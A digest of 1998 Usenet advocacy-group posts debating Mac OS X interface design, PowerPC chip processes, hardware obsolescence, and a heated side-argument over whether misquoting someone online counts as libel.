References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <joe.ragosta-2707980631070001@elk49.dol.net> <macghod-2707981159350001@sdn-ar-001casbarp306.dialsprint.net> <joe.ragosta-2707981611370001@wil75.dol.net> <6piq2p$g3o$1@lwnws01.ne.highway1.com> <slrn6rqa0p.na3.jason@jhste1.dyn.ml.org>
jason@jhste1.dyn.ml.org (Jason S.) wrote:
> John Kheit posted the following to comp.sys.mac.advocacy:
>
> >> > > Sure. And in another thread you called Donal Brown a lame
> >> > > programmer which is direct libel. That's supposed to be OK,
> >> > > but I say that if I remember something correctly..... and I
> >> > > turn out to be wrong and you threaten to sue me?
>
> >You see, offering my opinion about someone's abilities is not slander.
>
> This is a close one - if the opinion might be accepted as fact, it could
> be defamation.
Right, it depends if the opinion includes a factual assertion; e.g. in my
opinion, John Doe is a child molester. That really is a factual assertion
merely prefaced with the "in my opinion" tag. If what follows such a
statement are factual assertions, then you may well be in defamation land.
So for example: "I think John Doe is a child molester because he was seen
frequently messing around with young children at playgrounds, and was seen
doing X,Y,Z, etc" is likely defamation because it lists factual assertion
even though the ultimate assertion is merely prefaced with "I think."
However, "I think Ted Kennedy must have been drunk to have driven into that
river" is likely to be mere opinion about something/some event. In essence,
if you are giving opinions/analysis about irrefutable facts, that is likely
not defamatory. However, if you are giving opinions about what you believe
the facts are, and asserting those facts, then you're more likely to be in
defamation land.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: quinlan@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Tue, 28 Jul 1998 03:11:57 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pjfht$dho$1@nnrp1.dejanews.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <MPG.1024148b9fd31ab8989a01@news.supernews.com> <6phc10$ibo$1@nnrp1.dejanews.com> <MPG.1026cb1fb68b3d3c989a2e@news.supernews.com>
In article <MPG.1026cb1fb68b3d3c989a2e@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) wrote:
> Different strokes and all that. The question isn't "which is better",
> but "how significant is the difference". For most people, almost all of
> the time, the difference is not significant.
Then why use the Mac OS? Buying a PC and running Windows is significantly
cheaper than buying a Mac.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: New PowerPCs are announced
Date: 28 Jul 1998 14:50:05 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6pkoet$c0d@newsb.netnews.att.com>
References: <6pior2$7s4@newsb.netnews.att.com> <6pjc1a$9c7$4@server.signat.org>
Originator: gupta@tlctest
Maury Markowitz <maury@remove_this.istar.ca> wrote:
>
> I'm curious about the process though, as it was noted to be a .29m process
>and not a .25 one. This struck me as odd, as I was under the impression
>everyone (in the PPC camp that is) is at .25 and moving to .18. Apparenly I
>was wrong. Do you have a better roadmap for this?
It is a little odd, yes. The Motorola datasheet lists the older
PPC 750s as "0.29 micron 5LM CMOS HiP 3.0" and the newer ones as
"0.25 micron 5LM CMOS HiP 3.4".
The IBM datasheet for the older PPC 750s lists
"0.25 micron/0.18 Leff - CMOS technology, five levels of metal".
The core voltage is 2.5 - 2.75 V.
-arun gupta
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 28 Jul 1998 03:31:39 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6pjgmr$m6i$3@lwnws01.ne.highway1.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <Macghod-2607982143050001@sdn-ar-002casbarp275.dialsprint.net> <6pi4m3$42a$1@lwnws01.ne.highway1.com> <joe.ragosta-2707981154130001@wil50.dol.net> <MPG.1026c4f284b72c45989a2c@news.supernews.com>
don.brown@cesoft.com (Donald Brown) wrote:
> You made a mistake. He acted like a jerk. You both are treating the
> other's misdeeds as capital offenses. Lighten up, dudes!
Jeez this is weird. He mischaracterized what I said, and I'm a jerk for
being upset. Interesting. His mistake, in and of itself is no big deal.
But it's not the first time he's done so. And I certainly was getting overly
annoyed by it; to the point I was serious enough to walk down to the
courthouse and file the documents. It's pretty clear, I don't like it when
others mischaracterize what I say. I don't think I'm particualarly strange
for this. If I said that "Donald Brown really thinks apple and all their
employees suck" (when you clearly never said any such thing) in a post, and
it's not true, I'm sure you'd be miffed. If I said things of that nature on
several occasions I'm sure you'd get pissed. Then again, maybe not, but I
did.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 28 Jul 1998 15:04:52 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6pkpak$bsn$1@lwnws01.ne.highway1.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <Macghod-2607982143050001@sdn-ar-002casbarp275.dialsprint.net> <6pi4m3$42a$1@lwnws01.ne.highway1.com> <MPG.1026c4389a7ccdea989a2b@news.supernews.com> <6pjh0n$m6i$4@lwnws01.ne.highway1.com> <joe.ragosta-2807980633150001@elk42.dol.net> <6pkn0o$9re$3@lwnws01.ne.highway1.com> <joe.ragosta-2807981050230001@wil32.dol.net>
joe.ragosta@dol.net (Joe Ragosta) wrote:
> Does the reasonable person experience harm when I state "IIRC, John Kheit
> said that it was Apple's fault that Novell dropped Netware"?
It's the repeated mischaracterizations. There was a thread where something
similiar happened a week or so agao.
> Of course not. You've experience no harm-especially since I corrected
> myself the next day.
>
> If you really think you've got legal standing to sue, please feel free.
> I'd love to win a malicious prosecution countersuit.
This is awfully brave of you after appologizing like a good little boy. I
got what I wanted directly from you. And admission of fault and wrong.
Considering the statements factually, no more is required in this case. Had
you not, things would have been significantly different.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 28 Jul 1998 10:10:49 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980728100910.17041B-100000@ux8.cso.uiuc.edu>
References: <not-2407981240410001@ip-26-162.phx.primenet.com> <Pine.SOL.3.96.980724150050.26891B-100000@ux8.cso.uiuc.edu> <not-2407981816490001@ip-26-140.phx.primenet.com> <Pine.SOL.3.96.980725232001.7987D-100000@ux7.cso.uiuc.edu> <not-2607981725340001@ip-26-178.phx.primenet.com> <Pine.SOL.3.96.980726224322.27762B-100000@ux8.cso.uiuc.edu> <not-2707981327520001@ip-26-031.phx.primenet.com> <joe.ragosta-2707981722550001@wil31.dol.net> <01bdb9f2$93529910$3643bacd@isdnjhendry>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
To: Jonathan Hendry <jhendry@cmg.fcnbd.com>
In-Reply-To: <01bdb9f2$93529910$3643bacd@isdnjhendry>
On 28 Jul 1998, Jonathan Hendry wrote:
> Hm. Question. Do the G3 Macs only have cache on the CPU module, or do they
> also have cache on the motherboard?
There is only L2 cache, and that is contained on the CPU module.
PowerLogix and some other companies sell a CPU module for the PowerMac G3s
to replace both the processor and cache with a faster/bigger version. I
think there are 300MHz 1MB 1:1 CPU modules available.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 28 Jul 1998 03:39:12 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6pjh50$m6i$5@lwnws01.ne.highway1.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <Macghod-2607982143050001@sdn-ar-002casbarp275.dialsprint.net> <6pi4m3$42a$1@lwnws01.ne.highway1.com> <joe.ragosta-2707981154130001@wil50.dol.net> <6pie2b$9kh$1@lwnws01.ne.highway1.com> <macghod-2707981719370001@sdn-ar-001casbarp019.dialsprint.net>
macghod@concentric.net (Steve Sullivan) wrote:
> Actually, I heard about a case in Chico California that disturbed
> me greatly. A person (who admittedly was not mentally competent)
> was getting very frustrated by some governmental employee, I
> think at the DMV. He told the lady "IF this were 2000 years ago,
> God would smite you for how you are acting".
>
> The DMV (IIRC) had the guy arrested for threatening a public
> official, his PD didnt even try to fight it even tho it was
> obviously a focked up charge and pleaded it down to him getting
> some sort of mental help. I know I didnt get the facts exactly
> correct, but it was a conditional statement that god would do
> something to her if it was a long time ago (maybe he said old
> testament times), I think it was about 1995 or 1996.
That sounds like the facts may well be different enough. There are a lot of
cases out there that have holdings that seem to be completely wrong because
of either bad lawyering (or perhaps no lawyering), or plea.
So if a lawyer doesn't bring up a case or an affirmative defense, in many
jurisdictions you forgoe your right to that defense. That may well have
happened in the case you talk about. Also, there may well be other
circumstances involved (like maybe he made threatening gestures of somekind,
etc).
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 28 Jul 1998 15:22:07 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6pkqav$cai$1@lwnws01.ne.highway1.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <Macghod-2607982143050001@sdn-ar-002casbarp275.dialsprint.net> <6pi4m3$42a$1@lwnws01.ne.highway1.com> <joe.ragosta-2707981154130001@wil50.dol.net> <6pie2b$9kh$1@lwnws01.ne.highway1.com> <joe.ragosta-2807980819240001@wil43.dol.net> <6pkm36$9re$1@lwnws01.ne.highway1.com> <joe.ragosta-2807981048110001@wil32.dol.net>
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <6pkm36$9re$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net
> wrote:
> > You're getting the law wrong here is rather commical. The
> > "IIRC" does little to nothing to ameliorate the libel.
>
> So in other words, the conditional only applies when you want it
> to apply.
No, in your demented and ignorant opinion that is the case. The
law is as I said it was, and reasonably deals with the different
situations. The law provides different standards for different
situations; with the dire consequences in a criminal case the
standard for finding guilt is "beyond a reasonable doubt" while in
many civil cases it's merely a "preponderance of the evidence."
That doesn't just suit me, it suits society and most reasonable
people. YMMV.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 28 Jul 1998 10:27:58 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980728101529.17041D-100000@ux8.cso.uiuc.edu>
References: <andyba-ya02408000R2107981835050001@news> <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2307981115550001@news> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <1dco1vu.1tcsxcs13uk71oN@hoorn23.multiweb.net> <Pine.SOL.3.96.980724134947.26891A-100000@ux8.cso.uiuc.edu> <1dcrv9l.wtv1wr1idgbl2N@hoorn02.multiweb.net> <Pine.SOL.3.96.980727112448.21442C-100000@ux7.cso.uiuc.edu> <1dcuo10.1rj9fxyx5rw94N@hoorn07.multiweb.net>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
In-Reply-To: <1dcuo10.1rj9fxyx5rw94N@hoorn07.multiweb.net>
On Tue, 28 Jul 1998, Dennis SCP wrote:
> Pulsar <tokarek@uiuc.edu> wrote:
>
> > Put Away actually does provide a useful function. Try dragging a dozen
> > files scattered about your hard drive to the trash. You want to put them
> > back? You don't have to remember where everything was, just select Put
> > Away. Have you moved a file somewhere you didn't really want to, but don't
> > want to go to the trouble of manually putting it back, use Put Away.
>
> Sorry, but Apple decided in all it's UI wisedom that Put Away items only
> work in the trashcan and on the desktop. But with a control panel like
> FinderPop you can do it from any place.
Heh. Well that's kooky. I thought it worked everywhere, but then the only
places I've tried it have been from the trash and the desktop.
> > I don't think it needs to be slow or full of faults. Computers are getting
> > very fast and I'd bet a system of discerning the type based on the
> > contents of the file could be come up with.
> >
> > What data structures are similar but handled differently? There are
> > obviously differences that allow a program to work with the different file
> > appropriately.
>
> Sorry, can't find it anymore. There was a thread about such a program
> here or in next.advocacy. The idea seems pretty simple but good results
> are apperently hard to get. And don't underestimate the time needed on
> searching through files while recognising common patterns and
> mathmetical similarities. (I heared doing it by dna goes pretty fast but
> getting that inforamtion back into a computer is a lot harder:-)
Hmm.. well. I still think it's doable (with my total lack of experience in
such matters ;)
> > That would be okay I suppose. I was thinking of something much less global
> > in scope. Applications could register the file types they can open.
> > Perhaps this registration would mean having a bit of code that goes
> > through a file in an effort to see if it is a supported type. The OS would
> > just use that code to test the file.
> >
> > If it is an unrecognized type or if the file type is not specifcally
> > recognised, then the OS could prompt the user with a list of most likely
> > apps that could open it.
>
> You mean like GrapicConverter which analises any given file and tries to
> recover any pictures out of it? And you want this for all filetypes at a
> system level? How many programmers can you spare? Even if all programs
> would come with home made analizer plug-ins it would be quite a big
> project. Purging each new file through thousands of filters to come up
> with maches, mayby it's a nice idea for MS Windows 2000. You've seen
> yourself that Dataviz Exchange doesn't do the job flawlesly.
With the "advanced" features of Mac OS X and Rhapsody, this could possibly
be done in the background. It would be similar to what Apple had in mind
for Copland in that indexing for V-twin was to happen in the background
when the computer wasn't doing anything else.
Also, it doesn't have to do this _all_ the time _every_ time. Once a file
is typed, it shouldn't need to be typed again unless it gets replaced.
Also, certain files should be exempt. Preferences files don't always have
any recognizable format and probably shouldn't be typed this way.
I was thinking of this system as a supplement to the existing type codes
the Mac has. I don't know how they would best integrate.
> > > > No quick way to get to higher level folders in the heirarchy if their
> > > > windows have been closed. (Yeah. I know command-click on the title...
> > > > that's not good enough).
> > >
> > > Contextual closebox anyone?
> >
> > Nope. I don't want a contextual thingy. I want a widget somewhere on or in
> > the Finder window. Surely there's a solution. A contextual method would be
> > fine in addition to this, but I want the widget.
>
> I used to think I wanted an eject box next to close box. Now I want
> Option+Command+E to eject all disks.
>
> I played around with Command+Up and Down arrow, pretty weird. (again it
> only works with Finder windows <sigh>.)
It works quirkily in open/save dialogs too.
> > > Hey, you sniped that one.
> >
> > <innocently> Did I? (Really! Did I?)
>
> :-)
> - Windows can be dragged in the background but not resized or scrolled.
> (Making working with multiple windows a bit more difficult)
> :-)
Doh! Sorry. :)
> > > You forgot not being able to scroll background
> > > windows :-) I believe you should also be able to scroll a background
> > > window just by moving around the contents (gimme that hand pointer).
> > > Windows should only pop to the foreground with a single click.
> >
> > Yes, I think that would be a good thing.
>
> http://home.earthlink.net/~mickelsn/rhapsodic/ideas/
> Had a collection a userrequests and a link to a html Apple ideas page
> 'We do read an appriciate feedback' Let's hope it's still active...
It doesn't look like that site is up anymore. Rhapsodic has been closed
down. :(
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 28 Jul 1998 10:31:08 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980728102816.17041E-100000@ux8.cso.uiuc.edu>
References: <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <Pine.SOL.3.96.980727101621.21442A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2707981730140001@news>
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In-Reply-To: <andyba-ya02408000R2707981730140001@news>
On Mon, 27 Jul 1998, Andy Bates wrote:
> In article <Pine.SOL.3.96.980727101621.21442A-100000@ux7.cso.uiuc.edu>,
> Pulsar <tokarek@uiuc.edu> wrote:
>
> > When you bring up a submenu in the Mac OS, you have a list of menu choices
> > stacked on top of one another. Choices that bring up other submenus have
> > arrows pointing to the right to indicate that selecting that will do
> > nothing but bring up another submenu.
>
> Correct: arrows indicate submenus.
>
> > At the top level of the Macintosh
> > menu bar, there is no indication of which choices will bring down
> > submenus. In the lower levels, there are indicators.
>
> That's because NONE of the choices at the top level of the menu bar bring
> down submenus! They bring down menus! And since all of them bring down
> menus, they do not need any sort of indicators.
You are arguing in circles. I am saying that it might be a good idea to
allow non-submenu invoking choices in the root level menu. If such a thing
were done, there would have to be indicators. The lack of indicators in
that case would be _bad_.
> The Mac OS menu interface is only inconsistent if you assume that the top
> level should have buttons that do not invoke menus. However, since this is
> not the case, it is perfectly consistent.
Oh, indeed? What is that clock doing there? Does it bring down a submenu?
Hmmm... maybe you are wrong.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: New PowerPCs are announced
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 28 Jul 1998 15:33:09 GMT
Organization: University of Maryland, College Park
Message-ID: <6pkqvl$5h0$1@hecate.umd.edu>
References: <6pior2$7s4@newsb.netnews.att.com> <6pjc1a$9c7$4@server.signat.org> <6pkoet$c0d@newsb.netnews.att.com>
gupta@kcopsrm.tm.tta.moc-mirrorafter@ wrote:
: Maury Markowitz <maury@remove_this.istar.ca> wrote:
: >
: > I'm curious about the process though, as it was noted to be a .29m process
: >and not a .25 one. This struck me as odd, as I was under the impression
: >everyone (in the PPC camp that is) is at .25 and moving to .18. Apparenly I
: >was wrong. Do you have a better roadmap for this?
: It is a little odd, yes. The Motorola datasheet lists the older
: PPC 750s as "0.29 micron 5LM CMOS HiP 3.0" and the newer ones as
: "0.25 micron 5LM CMOS HiP 3.4".
: The IBM datasheet for the older PPC 750s lists
: "0.25 micron/0.18 Leff - CMOS technology, five levels of metal".
: The core voltage is 2.5 - 2.75 V.
I'm not sure, but it sounds like that this is just a migration to the
"Mach 5" process.
: -arun gupta
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 28 Jul 1998 10:38:57 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980728103229.17041F-100000@ux8.cso.uiuc.edu>
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980727102938.21442B-100000@ux7.cso.uiuc.edu> <6picpl$6pd@newsb.netnews.att.com> <Pine.SOL.3.96.980727170446.19424C-100000@ux7.cso.uiuc.edu> <6pjer0$941@newsb.netnews.att.com>
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On 28 Jul 1998 gupta@kcopsrm.tm.tta.moc-mirror wrote:
> Pulsar <tokarek@uiuc.edu> wrote:
> >
> >It does to solve the problem since it provides the user a clear indication
> >of what is running. If you close all Netscape Windows, the program is no
> >longer running in Windows whereas if you close all the Netscape windows on
> >[snip]
>
> I'm sorry, I thought you had mentioned earlier that it is correct
> behavior for the program to stick around, even if all windows have
> been closed. ( I certainly believe so.)
There are two things going on here. I'm trying to defend one and not the
other.
The taskbar is good (far from perfect, but at least better than the
Application Menu).
Quitting the application when all its windows are closed is generally bad.
In Windows, doing anything else would be bad. It's the best solution to a
bad initial design.
> If you redefine the problem, then yes, Windows' taskbar solves the
> (different) problem.
The Mac could have an equivalent to the taskbar (hopefully much better).
I've never really looked at GoMac or tried it out, but apparently that
does something similar.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: "Jon G. Temple" <jontemple@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 28 Jul 1998 11:32:03 -0400
Organization: jontemple@earthlink.net
Message-ID: <35BDEEED.DF7F517E@earthlink.net>
References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net> <joe.ragosta-2607982033560001@elk91.dol.net>
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Joe Ragosta wrote:
> In article <Josh.McKee-2607981711240001@pm3a17.rmac.net>,
> Josh.McKee@cbns.com (Joshua T. McKee) wrote:
>
> > In article <joe.ragosta-2607980812040001@elk85.dol.net>,
> > joe.ragosta@dol.net (Joe Ragosta) wrote:
> >
> >
> >
> > > With Win98, there are reports that you're better off buying a new machine
> > > with Win98 preinstalled rather than trying to upgrade. There were no great
> > > howls of protest when Microsoft made a statement to that effect.
> >
> >
> > I believe that I can run Windows 98 on a 386sx if I so desired.
> >
> > It is very strange Joe, Mac advocates have been championing Apples great
> > backward compatibility as a big feature. Now we're being told it doesn't
> > count for anything?
>
> I wouldn't say it doesn't mean anything. It would be very, very nice if I
> could run Rhapsody on my old IIsi. But it's not going to happen and there
> are other factors I consider more important.
>
> My point was that both Apple and Microsoft have to obsolete old machines
> at some point.
A truly weak point since Apple has elected to obsolete machines less than 2
months old (9600/350). Even if MacOS X does ship on time, obsoleting a machine
less than 2 years old is horrendous.
It USED to be that Apple waited 10 years before obsoleting a machine; now they do
it as soon as they shove it out the door.
From: "Jon G. Temple" <jontemple@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 28 Jul 1998 11:38:54 -0400
Organization: jontemple@earthlink.net
Message-ID: <35BDF088.8AE8204@earthlink.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <MPG.101e43ebee3790959899d5@news.supernews.com> <MPG.101edc88c6da7b4a9899d6@news.supernews.com> <6p3d1m$mr6$1@camel18.mindspring.com> <6p443i$iom$1@nnrp1.dejanews.com> <MPG.10204e80816f66a69899e4@news.supernews.com> <6p6loq$ood$1@nnrp1.dejanews.com> <slrn6re6d9.32b.jason@jhste1.dyn.ml.org> <6p85r5$h40$1@nnrp1.dejanews.com>
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quinlan@my-dejanews.com wrote:
> In article <slrn6re6d9.32b.jason@jhste1.dyn.ml.org>,
> jason@jhste1.dyn.ml.org (Jason S.) wrote:
>
> > m68k->SPARC (Sun). AFAIK, Solaris never supported m68k.
>
> But didn't Solaris come out well after the introduction of the SPARC based
> Suns? And, IMHO, SunOS to Solaris was a much smaller jump than MacOS 9 to
> MacOS X will be.
Actually, the jump in question is not from 8.x or 9.x to Mac OS X, but from
Rhapsody or Mac OS Server to Mac OS X. PCI Macs are presently supported by
Rhapsody, and the jump to the unsupported Mac OS X will be pretty pitifully
small as jumps go.
Date: Tue, 28 Jul 1998 11:43:33 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-2807981143330001@0.0.0.0>
References: <not-2407981240410001@ip-26-162.phx.primenet.com> <Pine.SOL.3.96.980724150050.26891B-100000@ux8.cso.uiuc.edu> <not-2407981816490001@ip-26-140.phx.primenet.com> <Pine.SOL.3.96.980725232001.7987D-100000@ux7.cso.uiuc.edu> <not-2607981725340001@ip-26-178.phx.primenet.com> <Pine.SOL.3.96.980726224322.27762B-100000@ux8.cso.uiuc.edu> <not-2707981327520001@ip-26-031.phx.primenet.com> <joe.ragosta-2707981722550001@wil31.dol.net> <01bdb9f2$93529910$3643bacd@isdnjhendry> <Pine.SOL.3.96.980728100910.17041B-100000@ux8.cso.uiuc.edu>
In article <Pine.SOL.3.96.980728100910.17041B-100000@ux8.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> On 28 Jul 1998, Jonathan Hendry wrote:
>
> > Hm. Question. Do the G3 Macs only have cache on the CPU module, or do they
> > also have cache on the motherboard?
>
